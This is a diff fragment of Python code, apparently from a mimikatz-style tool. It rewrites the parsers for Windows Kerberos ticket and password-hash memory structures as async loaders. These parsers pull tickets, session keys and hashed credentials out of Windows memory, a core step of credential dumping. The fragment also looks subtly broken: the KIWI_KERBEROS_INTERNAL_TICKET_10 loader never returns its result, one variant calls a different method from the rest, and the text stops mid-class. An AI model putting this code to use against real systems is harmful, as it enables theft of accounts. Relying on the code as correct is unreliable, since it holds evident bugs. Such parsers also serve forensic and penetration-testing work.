-		self.Key = KIWI_KERBEROS_BUFFER(reader)
-		self.unk3 = PVOID(reader).value
-		self.unk4 = PVOID(reader).value
-		self.unk5 = PVOID(reader).value
-		self.StartTime = FILETIME(reader).value
-		self.EndTime = FILETIME(reader).value
-		self.RenewUntil = FILETIME(reader).value
-		self.unk6 = ULONG(reader).value
-		self.unk7 = ULONG(reader).value
-		self.domain = PCWSTR(reader).value
-		self.unk8 = ULONG(reader).value
-		self.strangeNames = PVOID(reader).value
-		self.unk9 = ULONG(reader).value
-		self.TicketEncType = ULONG(reader).value
-		self.TicketKvno = ULONG(reader).value
-		self.Ticket = KIWI_KERBEROS_BUFFER(reader)
+	def __init__(self):
+		self.Flink = None
+		self.Blink = None
+		self.unk0 = None
+		self.unk1 = None
+		self.ServiceName = None
+		self.TargetName = None
+		self.DomainName = None
+		self.TargetDomainName = None
+		self.Description = None
+		self.AltTargetDomainName = None
+		self.ClientName = None
+		self.name0 = None
+		self.TicketFlags = None
+		self.unk2 = None
+		self.KeyType = None
+		self.Key = None
+		self.unk3 = None
+		self.unk4 = None
+		self.unk5 = None
+		self.StartTime = None
+		self.EndTime = None
+		self.RenewUntil = None
+		self.unk6 = None
+		self.unk7 = None
+		self.domain = None
+		self.unk8 = None
+		self.strangeNames = None
+		self.unk9 = None
+		self.TicketEncType = None
+		self.TicketKvno = None
+		self.Ticket = None
+
+	
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_INTERNAL_TICKET_52()
+		res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_52.load(reader)
+		res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_52.load(reader)
+		res.unk0 = await PVOID.loadvalue(reader)
+		res.unk1 = await PVOID.loadvalue(reader)
+		res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader)
+		res.TargetName  = await PKERB_EXTERNAL_NAME.load(reader)
+		res.DomainName  = await LSA_UNICODE_STRING.load(reader)
+		res.TargetDomainName    = await LSA_UNICODE_STRING.load(reader)
+		res.Description         = await LSA_UNICODE_STRING.load(reader)
+		res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader)
+		res.ClientName = await PKERB_EXTERNAL_NAME.load(reader)
+		res.name0 = await PVOID.loadvalue(reader)
+		x = await reader.read(4)
+		res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False)
+		res.unk2 = await ULONG.loadvalue(reader)
+		res.KeyType = await ULONG.loadvalue(reader)
+		res.Key = await KIWI_KERBEROS_BUFFER.load(reader)
+		res.unk3 = await PVOID.loadvalue(reader)
+		res.unk4 = await PVOID.loadvalue(reader)
+		res.unk5 = await PVOID.loadvalue(reader)
+		res.StartTime = await FILETIME.loadvalue(reader)
+		res.EndTime   = await FILETIME.loadvalue(reader)
+		res.RenewUntil= await FILETIME.loadvalue(reader)
+		res.unk6 = await ULONG.loadvalue(reader)
+		res.unk7 = await ULONG.loadvalue(reader)
+		res.domain = await PCWSTR.loadvalue(reader)
+		res.unk8 = await ULONG.loadvalue(reader)
+		res.strangeNames = await PVOID.loadvalue(reader)
+		res.unk9 = await ULONG.loadvalue(reader)
+		res.TicketEncType = await ULONG.loadvalue(reader)
+		res.TicketKvno = await ULONG.load(reader)
+		res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader)
+		return res
 
 class PKIWI_KERBEROS_INTERNAL_TICKET_60(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_60)
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_INTERNAL_TICKET_60()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_60
+		return p
 		
 
 class KIWI_KERBEROS_INTERNAL_TICKET_60:
-	def __init__(self, reader):
-		self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_60(reader)
-		self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_60(reader)
-		self.unk0 = PVOID(reader).value
-		self.unk1 = PVOID(reader).value
-		self.ServiceName = PKERB_EXTERNAL_NAME(reader)
-		self.TargetName = PKERB_EXTERNAL_NAME(reader)
-		self.DomainName = LSA_UNICODE_STRING(reader)
-		self.TargetDomainName = LSA_UNICODE_STRING(reader)
-		self.Description = LSA_UNICODE_STRING(reader)
-		self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
-		#//LSA_UNICODE_STRING	KDCServer = 	//?(reader).value
-		self.ClientName = PKERB_EXTERNAL_NAME(reader)
-		self.name0 = PVOID(reader).value
-		self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
-		self.unk2 = ULONG(reader).value
-		self.KeyType = ULONG(reader).value
-		self.Key = KIWI_KERBEROS_BUFFER(reader)
-		self.unk3 = PVOID(reader).value
-		self.unk4 = PVOID(reader).value
-		self.unk5 = PVOID(reader).value
-		self.StartTime = FILETIME(reader).value
-		self.EndTime = FILETIME(reader).value
-		self.RenewUntil = FILETIME(reader).value
-		self.unk6 = ULONG(reader).value
-		self.unk7 = ULONG(reader).value
-		self.domain = PCWSTR(reader).value
-		self.unk8 = ULONG(reader).value
-		self.strangeNames = PVOID(reader).value
-		self.unk9 = ULONG(reader).value
-		self.TicketEncType = ULONG(reader).value
-		self.TicketKvno = ULONG(reader).value
-		self.Ticket = KIWI_KERBEROS_BUFFER(reader)
+	def __init__(self):
+		self.Flink = None
+		self.Blink = None
+		self.unk0 = None
+		self.unk1 = None
+		self.ServiceName = None
+		self.TargetName = None
+		self.DomainName = None
+		self.TargetDomainName = None
+		self.Description = None
+		self.AltTargetDomainName = None
+		self.ClientName = None
+		self.name0 = None
+		self.TicketFlags = None
+		self.unk2 = None
+		self.KeyType = None
+		self.Key = None
+		self.unk3 = None
+		self.unk4 = None
+		self.unk5 = None
+		self.StartTime = None
+		self.EndTime = None
+		self.RenewUntil = None
+		self.unk6 = None
+		self.unk7 = None
+		self.domain = None
+		self.unk8 = None
+		self.strangeNames = None
+		self.unk9 = None
+		self.TicketEncType = None
+		self.TicketKvno = None
+		self.Ticket = None
 
+	
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_INTERNAL_TICKET_60()
+		res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_60.load(reader)
+		res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_60.load(reader)
+		res.unk0  = await PVOID.loadvalue(reader)
+		res.unk1  = await PVOID.loadvalue(reader)
+		res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader)
+		res.TargetName  = await PKERB_EXTERNAL_NAME.load(reader)
+		res.DomainName  = await LSA_UNICODE_STRING.load(reader)
+		res.TargetDomainName = await LSA_UNICODE_STRING.load(reader)
+		res.Description = await LSA_UNICODE_STRING.load(reader)
+		res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader)
+		res.ClientName = await PKERB_EXTERNAL_NAME.load(reader)
+		res.name0 = await PVOID.loadvalue(reader)
+		x = await reader.read(4)
+		res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False)
+		res.unk2    = await ULONG.loadvalue(reader)
+		res.KeyType = await ULONG.loadvalue(reader)
+		res.Key  = await KIWI_KERBEROS_BUFFER.load(reader)
+		res.unk3 = await PVOID.loadvalue(reader)
+		res.unk4 = await PVOID.loadvalue(reader)
+		res.unk5 = await PVOID.loadvalue(reader)
+		res.StartTime  = await FILETIME.loadvalue(reader)
+		res.EndTime    = await FILETIME.loadvalue(reader)
+		res.RenewUntil = await FILETIME.loadvalue(reader)
+		res.unk6 = await ULONG.loadvalue(reader)
+		res.unk7 = await ULONG.loadvalue(reader)
+		res.domain = await PCWSTR.loadvalue(reader)
+		res.unk8   = await ULONG.loadvalue(reader)
+		res.strangeNames = await PVOID.loadvalue(reader)
+		res.unk9          = await ULONG.loadvalue(reader)
+		res.TicketEncType = await ULONG.loadvalue(reader)
+		res.TicketKvno    = await ULONG.loadvalue(reader)
+		res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader)
+		return res
 
 class PKIWI_KERBEROS_INTERNAL_TICKET_6(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_6)
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_INTERNAL_TICKET_6()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_6
+		return p
 		
 class KIWI_KERBEROS_INTERNAL_TICKET_6:
-	def __init__(self, reader):
-		#self.This = LIST_ENTRY(reader)
-		self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_6(reader)
-		self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_6(reader)
-		
-		#reader.read(8)
-		#input('servicename\n' + hexdump(reader.peek(0x100)))
-		self.unk0 = PVOID(reader).value
-		self.unk1 = PVOID(reader).value
-		self.ServiceName = PKERB_EXTERNAL_NAME(reader)
-		self.TargetName = PKERB_EXTERNAL_NAME(reader)
-		self.DomainName = LSA_UNICODE_STRING(reader)
-		self.TargetDomainName = LSA_UNICODE_STRING(reader)
-		self.Description = LSA_UNICODE_STRING(reader)
-		self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
-		self.KDCServer = LSA_UNICODE_STRING(reader) #	//?(reader).value
-		self.ClientName = PKERB_EXTERNAL_NAME(reader)
-		self.name0 = PVOID(reader).value
-		self.TicketFlags =  int.from_bytes(reader.read(4), byteorder = 'big', signed = False)#ULONG(reader).value
-		self.unk2 = ULONG(reader).value
-		self.KeyType = ULONG(reader).value
-		reader.align()
-		self.Key = KIWI_KERBEROS_BUFFER(reader)
-		self.unk3 = PVOID(reader).value
-		self.unk4 = PVOID(reader).value
-		self.unk5 = PVOID(reader).value
-		self.StartTime = FILETIME(reader).value
-		self.EndTime = FILETIME(reader).value
-		self.RenewUntil = FILETIME(reader).value
-		self.unk6 = ULONG(reader).value
-		self.unk7 = ULONG(reader).value
-		self.domain = PCWSTR(reader).value
-		self.unk8 = ULONG(reader).value
-		reader.align()
-		self.strangeNames = PVOID(reader).value
-		self.unk9 = ULONG(reader).value
-		self.TicketEncType = ULONG(reader).value
-		self.TicketKvno = ULONG(reader).value
-		reader.align()
-		self.Ticket = KIWI_KERBEROS_BUFFER(reader)
+	def __init__(self):
+		self.Flink = None
+		self.Blink = None
+		self.unk0 = None
+		self.unk1 = None
+		self.ServiceName = None
+		self.TargetName = None
+		self.DomainName = None
+		self.TargetDomainName = None
+		self.Description = None
+		self.AltTargetDomainName = None
+		self.KDCServer = None
+		self.ClientName = None
+		self.name0 = None
+		self.TicketFlags = None
+		self.unk2 = None
+		self.KeyType = None
+		self.Key = None
+		self.unk3 = None
+		self.unk4 = None
+		self.unk5 = None
+		self.StartTime = None
+		self.EndTime = None
+		self.RenewUntil = None
+		self.unk6 = None
+		self.unk7 = None
+		self.domain = None
+		self.unk8 = None
+		self.strangeNames = None
+		self.unk9 = None
+		self.TicketEncType = None
+		self.TicketKvno = None
+		self.Ticket = None
+
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_INTERNAL_TICKET_6()
+		res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_6.load(reader)
+		res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_6.load(reader)
+		res.unk0  = await PVOID.loadvalue(reader)
+		res.unk1  = await PVOID.loadvalue(reader)
+		res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader)
+		res.TargetName =  await PKERB_EXTERNAL_NAME.load(reader)
+		res.DomainName =  await LSA_UNICODE_STRING.load(reader)
+		res.TargetDomainName    = await LSA_UNICODE_STRING.load(reader)
+		res.Description         = await LSA_UNICODE_STRING.load(reader)
+		res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader)
+		res.KDCServer           = await LSA_UNICODE_STRING.load(reader) #	//?(reader).value
+		res.ClientName          = await PKERB_EXTERNAL_NAME.load(reader)
+		res.name0 = await PVOID.loadvalue(reader)
+		x = await reader.read(4)
+		res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False)#ULONG(reader).value
+		res.unk2    = await ULONG.loadvalue(reader)
+		res.KeyType = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.Key  = await KIWI_KERBEROS_BUFFER.load(reader)
+		res.unk3 = await PVOID.loadvalue(reader)
+		res.unk4 = await PVOID.loadvalue(reader)
+		res.unk5 = await PVOID.loadvalue(reader)
+		res.StartTime  = await FILETIME.loadvalue(reader)
+		res.EndTime    = await FILETIME.loadvalue(reader)
+		res.RenewUntil = await FILETIME.loadvalue(reader)
+		res.unk6 = await ULONG.loadvalue(reader)
+		res.unk7 = await ULONG.loadvalue(reader)
+		res.domain = await PCWSTR.loadvalue(reader)
+		res.unk8 = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.strangeNames = await PVOID.loadvalue(reader)
+		res.unk9          = await ULONG.loadvalue(reader)
+		res.TicketEncType = await ULONG.loadvalue(reader)
+		res.TicketKvno    = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader)
+		return res
 
 class PKIWI_KERBEROS_INTERNAL_TICKET_10(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_10)
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_INTERNAL_TICKET_10()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_10
+		return p
 		
 class KIWI_KERBEROS_INTERNAL_TICKET_10:
-	def __init__(self, reader):
+	def __init__(self):
 		#input('KIWI_KERBEROS_INTERNAL_TICKET_10\n' + hexdump(reader.peek(0x100)))
-		self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_10(reader)
-		self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_10(reader)
-		self.unk0 = PVOID(reader).value
-		self.unk1 = PVOID(reader).value
-		self.ServiceName = PKERB_EXTERNAL_NAME(reader)
-		self.TargetName = PKERB_EXTERNAL_NAME(reader)
-		self.DomainName = LSA_UNICODE_STRING(reader)
-		self.TargetDomainName = LSA_UNICODE_STRING(reader)
-		self.Description = LSA_UNICODE_STRING(reader)
-		self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
-		self.KDCServer = LSA_UNICODE_STRING#	//?(reader).value
-		self.unk10586_d = LSA_UNICODE_STRING#	//?(reader).value
-		self.ClientName = PKERB_EXTERNAL_NAME(reader)
-		self.name0 = PVOID(reader).value
-		self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
-		self.unk2 = ULONG(reader).value
-		self.KeyType = ULONG(reader).value
-		reader.align()
-		self.Key = KIWI_KERBEROS_BUFFER(reader)
-		self.unk3 = PVOID(reader).value
-		self.unk4 = PVOID(reader).value
-		self.unk5 = PVOID(reader).value
-		reader.align(8)
-		self.StartTime = FILETIME(reader).value
-		self.EndTime = FILETIME(reader).value
-		self.RenewUntil = FILETIME(reader).value
-		self.unk6 = ULONG(reader).value
-		self.unk7 = ULONG(reader).value
-		self.domain = PCWSTR(reader).value
-		self.unk8 = ULONG(reader).value
-		reader.align()
-		self.strangeNames = PVOID(reader).value
-		self.unk9 = ULONG(reader).value
-		self.TicketEncType = ULONG(reader).value
-		self.TicketKvno = ULONG(reader).value
-		reader.align()
-		self.Ticket = KIWI_KERBEROS_BUFFER(reader)
+		self.Flink = None
+		self.Blink = None
+		self.unk0 = None
+		self.unk1 = None
+		self.ServiceName = None
+		self.TargetName = None
+		self.DomainName = None
+		self.TargetDomainName = None
+		self.Description = None
+		self.AltTargetDomainName = None
+		self.KDCServer = None
+		self.unk10586_d = None
+		self.ClientName = None
+		self.name0 = None
+		self.TicketFlags = None
+		self.unk2 = None
+		self.KeyType = None
+		self.Key = None
+		self.unk3 = None
+		self.unk4 = None
+		self.unk5 = None
+		self.StartTime = None
+		self.EndTime = None
+		self.RenewUntil = None
+		self.unk6 = None
+		self.unk7 = None
+		self.domain = None
+		self.unk8 = None
+		self.strangeNames = None
+		self.unk9 = None
+		self.TicketEncType = None
+		self.TicketKvno = None
+		self.Ticket = None
+
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_INTERNAL_TICKET_10()
+		res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_10.load(reader)
+		res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_10.load(reader)
+		res.unk0 = await PVOID.loadvalue(reader)
+		res.unk1 = await PVOID.loadvalue(reader)
+		res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader)
+		res.TargetName  = await PKERB_EXTERNAL_NAME.load(reader)
+		res.DomainName  = await LSA_UNICODE_STRING.load(reader)
+		res.TargetDomainName = await LSA_UNICODE_STRING.load(reader)
+		res.Description = await LSA_UNICODE_STRING.load(reader)
+		res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader)
+		res.KDCServer  = await LSA_UNICODE_STRING.load(reader)#	//?(reader).value
+		res.unk10586_d = await LSA_UNICODE_STRING.load(reader)#	//?(reader).value
+		res.ClientName = await PKERB_EXTERNAL_NAME.load(reader)
+		res.name0 = await PVOID.loadvalue(reader)
+		x = await reader.read(4)
+		res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False)
+		res.unk2 = await ULONG.loadvalue(reader)
+		res.KeyType = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.Key  = await KIWI_KERBEROS_BUFFER.load(reader)
+		res.unk3 = await PVOID.loadvalue(reader)
+		res.unk4 = await PVOID.loadvalue(reader)
+		res.unk5 = await PVOID.loadvalue(reader)
+		await reader.align(8)
+		res.StartTime  = await FILETIME.loadvalue(reader)
+		res.EndTime    = await FILETIME.loadvalue(reader)
+		res.RenewUntil = await FILETIME.loadvalue(reader)
+		res.unk6 = await ULONG.loadvalue(reader)
+		res.unk7 = await ULONG.loadvalue(reader)
+		res.domain = await PCWSTR.loadvalue(reader)
+		res.unk8   = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.strangeNames  = await PVOID.loadvalue(reader)
+		res.unk9          = await ULONG.loadvalue(reader)
+		res.TicketEncType = await ULONG.loadvalue(reader)
+		res.TicketKvno    = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader)
+
+class PKIWI_KERBEROS_INTERNAL_TICKET_11(POINTER):
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_INTERNAL_TICKET_11()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_11
+		return p
+
+		
+class KIWI_KERBEROS_INTERNAL_TICKET_11:
+	def __init__(self):
+		self.Flink = None
+		self.Blink = None
+		self.unk0 = None
+		self.unk1 = None
+		self.ServiceName = None
+		self.TargetName = None
+		self.DomainName = None
+		self.TargetDomainName = None
+		self.Description = None
+		self.AltTargetDomainName = None
+		self.KDCServer = None
+		self.unk10586_d = None
+		self.ClientName = None
+		self.name0 = None
+		self.TicketFlags = None
+		self.unk2 = None
+		self.unk14393_0 = None
+		self.unk2x = None
+		self.KeyType = None
+		self.Key = None
+		self.unk14393_1 = None
+		self.unk3 = None
+		self.unk4 = None
+		self.unk5 = None
+		self.StartTime = None
+		self.EndTime = None
+		self.RenewUntil = None
+		self.unk6 = None
+		self.unk7 = None
+		self.domain = None
+		self.unk8 = None
+		self.strangeNames = None
+		self.unk9 = None
+		self.TicketEncType = None
+		self.TicketKvno = None
+		self.Ticket = None
+	
+
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_INTERNAL_TICKET_11()
+		res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_11.load(reader)
+		res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_11.load(reader)
+		res.unk0 = await PVOID.loadvalue(reader)
+		res.unk1 = await PVOID.loadvalue(reader)
+		res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader)
+		res.TargetName  = await PKERB_EXTERNAL_NAME.load(reader)
+		res.DomainName          = await LSA_UNICODE_STRING.load(reader)
+		res.TargetDomainName    = await LSA_UNICODE_STRING.load(reader)
+		res.Description         = await LSA_UNICODE_STRING.load(reader)
+		res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader)
+		res.KDCServer           = await LSA_UNICODE_STRING.load(reader)    				#	//?(reader).value
+		res.unk10586_d          = await LSA_UNICODE_STRING.load(reader)					#//?(reader).value
+		res.ClientName = await PKERB_EXTERNAL_NAME.load(reader)
+		res.name0 = await PVOID.loadvalue(reader)
+		x = await reader.read(4)
+		res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False)
+		res.unk2       = await ULONG.loadvalue(reader)
+		res.unk14393_0 = await PVOID.loadvalue(reader)
+		res.unk2x       = await ULONG.loadvalue(reader)
+		res.KeyType    = await ULONG.loadvalue(reader)
+		res.Key = await KIWI_KERBEROS_BUFFER.load(reader)
+		res.unk14393_1 = await PVOID.loadvalue(reader)
+		res.unk3       = await PVOID.loadvalue(reader)										# // ULONG		KeyType2 = (reader).value
+		res.unk4       = await PVOID.loadvalue(reader)										# // KIWI_KERBEROS_BUFFER	Key2 = (reader).value
+		res.unk5       = await PVOID.loadvalue(reader)										# // up(reader).value
+		res.StartTime  = await FILETIME.loadvalue(reader)
+		res.EndTime    = await FILETIME.loadvalue(reader)
+		res.RenewUntil = await FILETIME.loadvalue(reader)
+		res.unk6 = await ULONG.loadvalue(reader)
+		res.unk7 = await ULONG.loadvalue(reader)
+		res.domain = await PCWSTR.loadvalue(reader)
+		res.unk8 = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.strangeNames  = await PVOID.loadvalue(reader)
+		res.unk9          = await ULONG.loadvalue(reader)
+		res.TicketEncType = await ULONG.loadvalue(reader)
+		res.TicketKvno    = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader)
+
+		return res
 
 class PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_10_1607)
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_10_1607
+		return p
 
 		
 class KIWI_KERBEROS_INTERNAL_TICKET_10_1607:
-	def __init__(self, reader):
-		#input('KIWI_KERBEROS_INTERNAL_TICKET_10_1607\n' + hexdump(reader.peek(0x300)))
-		self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(reader)
-		self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(reader)
-		self.unk0 = PVOID(reader).value
-		self.unk1 = PVOID(reader).value
-		self.ServiceName = PKERB_EXTERNAL_NAME(reader)
-		self.TargetName = PKERB_EXTERNAL_NAME(reader)
-		self.DomainName = LSA_UNICODE_STRING(reader)
-		self.TargetDomainName = LSA_UNICODE_STRING(reader)
-		self.Description = LSA_UNICODE_STRING(reader)
-		self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
-		self.KDCServer = LSA_UNICODE_STRING(reader)    				#	//?(reader).value
-		self.unk10586_d = LSA_UNICODE_STRING(reader)					#//?(reader).value
-		self.ClientName = PKERB_EXTERNAL_NAME(reader)
-		self.name0 = PVOID(reader).value
-		self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
-		self.unk2 = ULONG(reader).value
-		self.unk14393_0 = PVOID(reader).value
-		self.KeyType = ULONG(reader).value
-		reader.align()
-		self.Key = KIWI_KERBEROS_BUFFER(reader)
-		self.unk14393_1 = PVOID(reader).value
-		self.unk3 = PVOID(reader).value										# // ULONG		KeyType2 = (reader).value
-		self.unk4 = PVOID(reader).value										# // KIWI_KERBEROS_BUFFER	Key2 = (reader).value
-		self.unk5 = PVOID(reader).value										# // up(reader).value
-		self.StartTime = FILETIME(reader).value
-		self.EndTime = FILETIME(reader).value
-		self.RenewUntil = FILETIME(reader).value
-		self.unk6 = ULONG(reader).value
-		self.unk7 = ULONG(reader).value
-		self.domain = PCWSTR(reader).value
-		self.unk8 = ULONG(reader).value
-		reader.align()
-		self.strangeNames = PVOID(reader).value
-		self.unk9 = ULONG(reader).value
-		self.TicketEncType = ULONG(reader).value
-		self.TicketKvno = ULONG(reader).value
-		reader.align()
-		self.Ticket = KIWI_KERBEROS_BUFFER(reader)
+	def __init__(self):
+		self.Flink = None
+		self.Blink = None
+		self.unk0 = None
+		self.unk1 = None
+		self.ServiceName = None
+		self.TargetName = None
+		self.DomainName = None
+		self.TargetDomainName = None
+		self.Description = None
+		self.AltTargetDomainName = None
+		self.KDCServer = None
+		self.unk10586_d = None
+		self.ClientName = None
+		self.name0 = None
+		self.TicketFlags = None
+		self.unk2 = None
+		self.unk14393_0 = None
+		self.KeyType = None
+		self.Key = None
+		self.unk14393_1 = None
+		self.unk3 = None
+		self.unk4 = None
+		self.unk5 = None
+		self.StartTime = None
+		self.EndTime = None
+		self.RenewUntil = None
+		self.unk6 = None
+		self.unk7 = None
+		self.domain = None
+		self.unk8 = None
+		self.strangeNames = None
+		self.unk9 = None
+		self.TicketEncType = None
+		self.TicketKvno = None
+		self.Ticket = None
+	
+
+	@staticmethod
+	async def load(reader):
+		res = KIWI_KERBEROS_INTERNAL_TICKET_10_1607()
+		res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_10_1607.load(reader)
+		res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_10_1607.load(reader)
+		res.unk0 = await PVOID.loadvalue(reader)
+		res.unk1 = await PVOID.loadvalue(reader)
+		res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader)
+		res.TargetName  = await PKERB_EXTERNAL_NAME.load(reader)
+		res.DomainName          = await LSA_UNICODE_STRING.load(reader)
+		res.TargetDomainName    = await LSA_UNICODE_STRING.load(reader)
+		res.Description         = await LSA_UNICODE_STRING.load(reader)
+		res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader)
+		res.KDCServer           = await LSA_UNICODE_STRING.load(reader)    				#	//?(reader).value
+		res.unk10586_d          = await LSA_UNICODE_STRING.load(reader)					#//?(reader).value
+		res.ClientName = await PKERB_EXTERNAL_NAME.load(reader)
+		res.name0 = await PVOID.loadvalue(reader)
+		x = await reader.read(4)
+		res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False)
+		res.unk2       = await ULONG.loadvalue(reader)
+		res.unk14393_0 = await PVOID.loadvalue(reader)
+		res.KeyType    = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.Key = await KIWI_KERBEROS_BUFFER.load(reader)
+		res.unk14393_1 = await PVOID.loadvalue(reader)
+		res.unk3       = await PVOID.loadvalue(reader)										# // ULONG		KeyType2 = (reader).value
+		res.unk4       = await PVOID.loadvalue(reader)										# // KIWI_KERBEROS_BUFFER	Key2 = (reader).value
+		res.unk5       = await PVOID.loadvalue(reader)										# // up(reader).value
+		res.StartTime  = await FILETIME.loadvalue(reader)
+		res.EndTime    = await FILETIME.loadvalue(reader)
+		res.RenewUntil = await FILETIME.loadvalue(reader)
+		res.unk6 = await ULONG.loadvalue(reader)
+		res.unk7 = await ULONG.loadvalue(reader)
+		res.domain = await PCWSTR.loadvalue(reader)
+		res.unk8 = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.strangeNames  = await PVOID.loadvalue(reader)
+		res.unk9          = await ULONG.loadvalue(reader)
+		res.TicketEncType = await ULONG.loadvalue(reader)
+		res.TicketKvno    = await ULONG.loadvalue(reader)
+		await reader.align()
+		res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader)
+
+		return res
 
 class PKERB_HASHPASSWORD_GENERIC(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KERB_HASHPASSWORD_GENERIC)
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKERB_HASHPASSWORD_GENERIC()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KERB_HASHPASSWORD_GENERIC
+		return p
 		
 class KERB_HASHPASSWORD_GENERIC:
-	def __init__(self, reader):
-		#print('KERB_HASHPASSWORD_GENERIC')
-		#print(hexdump(reader.peek(0x50), start = reader.tell()))
-		self.Type = DWORD(reader).value
-		reader.align()
-		self.Size = SIZE_T(reader).value
-		self.Checksump = PVOID(reader) #this  holds the actual credentials dunno why it's named this way...
+	def __init__(self):
+		self.Type = None
+		self.Size = None
+		self.Checksump = None
+
+	@staticmethod
+	async def load(reader):
+		res = KERB_HASHPASSWORD_GENERIC()
+		res.Type = await DWORD.loadvalue(reader)
+		await reader.align()
+		res.Size      = await SIZE_T.loadvalue(reader)
+		res.Checksump = await PVOID.loadvalue(reader)
+		return res
+	
 
 class PKERB_HASHPASSWORD_5(POINTER):
-	def __init__(self, reader):
-		super().__init__(reader, KERB_HASHPASSWORD_5)	
+	def __init__(self):
+		super().__init__()
+	
+	@staticmethod
+	async def load(reader):
+		p = PKERB_HASHPASSWORD_5()
+		p.location = reader.tell()
+		p.value = await reader.read_uint()
+		p.finaltype = KERB_HASHPASSWORD_5
+		return p
 		
 class KERB_HASHPASSWORD_5:
-	def __init__(self, reader):
-		self.salt = LSA_UNICODE_STRING(reader) #	// http://tools.ietf.org/html/rfc3962
-		self.generic = KERB_HASHPASSWORD_GENERIC(reader)
+	def __init__(self):
+		self.salt = None
